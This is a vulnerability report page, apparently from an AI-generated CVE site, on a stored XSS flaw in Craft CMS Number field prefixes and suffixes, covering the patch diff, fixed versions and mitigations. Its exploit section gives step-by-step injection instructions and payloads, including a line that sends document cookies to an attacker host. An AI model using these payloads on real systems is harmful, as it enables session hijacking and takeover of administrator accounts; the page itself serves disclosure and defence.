CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25496

Crafty Injections: Stored XSS in Craft CMS Number Fields

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 9, 2026·6 min read·33 visits

Executive Summary (TL;DR)

Improper output encoding in Craft CMS Number fields allows Stored XSS. Specifically, the prefix and suffix settings are parsed as Markdown without HTML encoding, allowing raw script injection. Fixed in 4.16.18 and 5.8.22.

A classic case of 'trusted input' going rogue, CVE-2026-25496 is a Stored Cross-Site Scripting (XSS) vulnerability lurking within the unsuspecting 'Number' field settings of Craft CMS. By neglecting to sanitize HTML tags when parsing Markdown in field prefixes and suffixes, the system allows administrators with schema permissions to plant persistent JavaScript payloads that execute whenever the field is rendered.

The Hook: When Boring Fields Turn Dangerous

In the world of web exploitation, we often hunt for the complex, the obscure, or the blatantly negligent. But sometimes, the most effective bugs hide in the most mundane features. Enter the Number Field in Craft CMS. It’s the kind of feature you gloss over—it holds prices, quantities, or maybe a year. It’s data. It’s boring.

However, Craft CMS is known for its flexibility. When defining a Number field, an administrator can define a Prefix (like $) or a Suffix (like kg). To make things 'pretty', the developers allowed these little text snippets to be parsed as Markdown. Do you really need bold text in your currency symbol? Probably not. But feature creep is a security researcher's best friend.

The vulnerability here isn't in the number itself; it's in the decoration around it. Because the application assumed that administrators defining schema structure were trustworthy (and that Markdown parsers would behave), it opened a door. If you can control the schema, you can control the browser of anyone who interacts with that data.

The Flaw: The Deadly Combination of |md and |raw

Let's talk about Twig, the templating engine powering Craft CMS. Twig is generally secure by default because it automatically escapes output. If you try to print <script>, Twig prints &lt;script&gt;. Safe, boring, effective. To bypass this, developers use the |raw filter. This is essentially telling the compiler: "Trust me, I know what I'm doing, just dump the data."

The vulnerability stems from a specific chain of filters used in src/templates/_components/fieldtypes/Number/input.twig. The code took the user-defined prefix/suffix and ran it through a Markdown filter (|md) and then immediately piped it to |raw.

Here is the logic error: Markdown, by design, supports inline HTML. If you write <b>Hello</b> in Markdown, it renders as bold text. If you write <script>alert(1)</script>, a standard Markdown parser often treats it as valid HTML and passes it through. The developers used the |md filter to render the formatting but failed to tell the parser to encode HTML tags before rendering. The |raw filter at the end of the chain then stripped away Twig's last line of defense, serving the attacker's payload on a silver platter.

The Code: Anatomy of a Fix

The fix is subtle but critical. It highlights the difference between "rendering markdown" and "rendering safe markdown".

Below is the diff from commit cb5fb0e979e72f315c9178fc031883d49527f513. Notice that the developers didn't remove the feature; they just tightened the leash on the Markdown parser.

--- a/src/templates/_components/fieldtypes/Number/input.twig
+++ b/src/templates/_components/fieldtypes/Number/input.twig
@@ -25,7 +25,7 @@
 <div class="flex">
     {% if hasPrefix %}
         <div aria-hidden="true">
-            {{ prefix|t('site')|md(inlineOnly=true)|raw }}
+            {{ prefix|t('site')|md(inlineOnly=true,encode=true)|raw }}
         </div>
     {% endif %}

The Smoking Gun: The original code md(inlineOnly=true) told the parser "don't make block-level elements like paragraphs," but it didn't say "stop HTML tags."

The Patch: The addition of encode=true forces the Markdown parser to HTML-encode the input string before parsing it. If an attacker inputs <script>, it becomes &lt;script&gt; before the Markdown logic touches it. The |raw filter allows the generated HTML (like <strong> from **bold**) to pass, but the malicious injection is neutralized.

The Exploit: Persistent Pwnage

While this vulnerability requires high privileges (Admin), do not underestimate its utility for persistence or lateral movement within a team. If you have compromised a lower-level admin account with schema permissions, you can use this to trap the Super Admin.

Step 1: The Setup Log in as an administrator. Navigate to Settings > Fields. Create a new field of type Number (or edit an existing one that is widely used, like 'Price').

Step 2: The Injection Locate the "Prefix Text" setting. This is where we inject our payload. A simple PoC might look like this:

"><img src=x onerror=alert('XSS_By_Prefix')>

Or, for a more stealthy approach using SVG (which often bypasses simple filters):

<svg/onload=fetch('//attacker.com?c='+document.cookie)>

Step 3: The Trap Save the field. The database now stores this string.

Step 4: The Trigger Wait. You don't need to do anything else. As soon as any other administrator (or potentially a frontend user if these fields are exposed in a specific way) views an entry that utilizes this number field, the browser renders the prefix. The |md filter parses it, the |raw filter outputs it, and the browser executes it. You now have their session cookies.

The Impact: Why Admin XSS Matters

A common rebuttal to vulnerabilities like this is: "But you need to be an Admin to exploit it! If you're an Admin, you already own the site!"

Not necessarily. In modern CMS environments, "Admin" is rarely a binary state. You have content editors, site managers, and developers.

  1. Privilege Escalation: An attacker with 'Settings' access can target a 'Super Admin' to gain full shell access via template editing or plugin installation.
  2. Persistence: Even if the attacker loses their original credentials, the backdoored field remains. The moment a legitimate admin logs in to check the content, the attacker regains access.
  3. Wormability: If the field is rendered on a frontend profile page (e.g., a user salary field), this could become a self-propagating worm affecting all users.

The Fix: Closing the Window

The remediation is straightforward: Update.

Patched Versions:

  • Craft CMS 4.x: 4.16.18
  • Craft CMS 5.x: 5.8.22

If you cannot update immediately, you can mitigate the risk by adhering to Craft CMS best practices:

  1. Disable Admin Changes in Production: Set allowAdminChanges to false in your config/general.php. This prevents anyone (even admins) from modifying field settings in the production environment, effectively closing the vector unless the attacker can modify the codebase/project config files directly.
  2. CSP (Content Security Policy): Implement a strict CSP that disallows inline scripts (script-src 'self'). This won't fix the bug, but it will prevent the browser from executing the payload.

Official Patches

Craft CMSGitHub Commit fixing the issue
Craft CMSChangelog for version 5.8.22

Fix Analysis (1)

Technical Appendix

CVSS Score
4.8/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Craft CMS 4.x < 4.16.18Craft CMS 5.x < 5.8.22

Affected Versions Detail

Product
Affected Versions
Fixed Version
Craft CMS
Pixel & Tonic
>= 4.0.0-RC1, < 4.16.184.16.18
Craft CMS
Pixel & Tonic
>= 5.0.0-RC1, < 5.8.225.8.22
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v4.04.8 (Medium)
Privileges RequiredHigh (Admin)
ImpactStored XSS / Session Hijacking
Vulnerable ComponentNumber Field Settings (Prefix/Suffix)

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1552Unsecured Credentials
Credential Access
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

ManualInjection of HTML tags into Number Field Prefix/Suffix configuration.

Vulnerability Timeline

Fix committed to GitHub repository
2026-01-06
Vulnerability publicly disclosed
2026-02-09
Patched versions 4.16.18 and 5.8.22 released
2026-02-09

References & Sources

  • [1]GHSA-9f5h-mmq6-2x78 Advisory
  • [2]CWE-79: Cross-site Scripting

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•43 minutes ago•CVE-2026-55618
6.5

CVE-2026-55618: URL Extraction Bypass via HTML Entities in eml_parser

A critical logical flaw in the eml_parser Python module prior to version 3.0.2 allows malicious URLs to evade automated security analysis pipelines. By encoding key URI delimiter characters as HTML decimal entities, an attacker can mask indicators of compromise. Security controls, orchestration layers, and sandbox systems fail to detect these links, while downstream Mail User Agents natively reconstruct the malicious hyper-references when processed by end-users. This mechanism undermines the integrity of automated indicator extraction processes within Security Operations Centers.

Amit Schendel
Amit Schendel
1 views•7 min read
•about 2 hours ago•CVE-2026-55619
5.3

CVE-2026-55619: Parser Denial of Service via Deeply Nested Parentheses in E-mail Headers

A denial of service vulnerability in GOVCERT-LU eml_parser before version 3.0.2 allows unauthenticated remote attackers to trigger an unhandled RecursionError exception. The issue arises during the parsing of structured email headers containing excessively nested parentheses representing Comments and Folding White Space (CFWS). Because the parser fails to catch this recursion-limit exception from Python's standard library, processing of the entire mail immediately aborts, which can disrupt automated security triage pipelines and email ingestion components.

Alon Barad
Alon Barad
3 views•6 min read
•about 3 hours ago•CVE-2026-55620
7.5

CVE-2026-55620: Algorithmic Complexity Denial of Service in GOVCERT-LU eml_parser

Prior to version 3.0.2, GOVCERT-LU's eml_parser library is vulnerable to an algorithmic complexity Denial of Service (DoS) vulnerability via the comment-stripping routine noparenthesis() in routing.py. An unauthenticated attacker can submit a crafted EML file containing nested parenthesized comments to cause complete CPU saturation. This happens due to a quadratic time complexity bottleneck in regex replacement of nested structures.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 4 hours ago•CVE-2026-55629
8.7

CVE-2026-55629: Arbitrary File Read via Path Traversal in Whistle Proxy Internal Service

Whistle prior to version 2.10.3 contains a path traversal vulnerability in its internal service layer. An unauthenticated remote attacker can read arbitrary files on the hosting operating system by issuing a crafted GET request containing relative or absolute file paths to the `/cgi-bin/temp/get` endpoint. This behavior occurs because the application fails open when an input file parameter does not match the temporary file format regex.

Alon Barad
Alon Barad
4 views•6 min read
•about 5 hours ago•CVE-2026-55609
7.1

CVE-2026-55609: Arbitrary File Read and Write via Model Context Protocol (MCP) Tools in sublinear-time-solver and consciousness-explorer

An arbitrary file read and write vulnerability exists in the Model Context Protocol (MCP) server endpoints of sublinear-time-solver and consciousness-explorer. By providing unvalidated file paths to the export_state, import_state, saveVectorToFile, and loadVectorFromFile tools, local attackers can read or overwrite sensitive host files.

Alon Barad
Alon Barad
3 views•5 min read
•about 6 hours ago•CVE-2026-55604
8.6

CVE-2026-55604: Authorization Bypass via Global Session Singleton in @arikusi/deepseek-mcp-server

An Authorization Bypass Through User-Controlled Key (CWE-639 / Insecure Direct Object Reference) vulnerability exists in @arikusi/deepseek-mcp-server starting in version 1.4.2 and fixed in 1.7.0. In Streamable HTTP transport mode, a process-global SessionStore singleton allows any remote client to retrieve or modify active conversation contexts belonging to other clients.

Alon Barad
Alon Barad
8 views•7 min read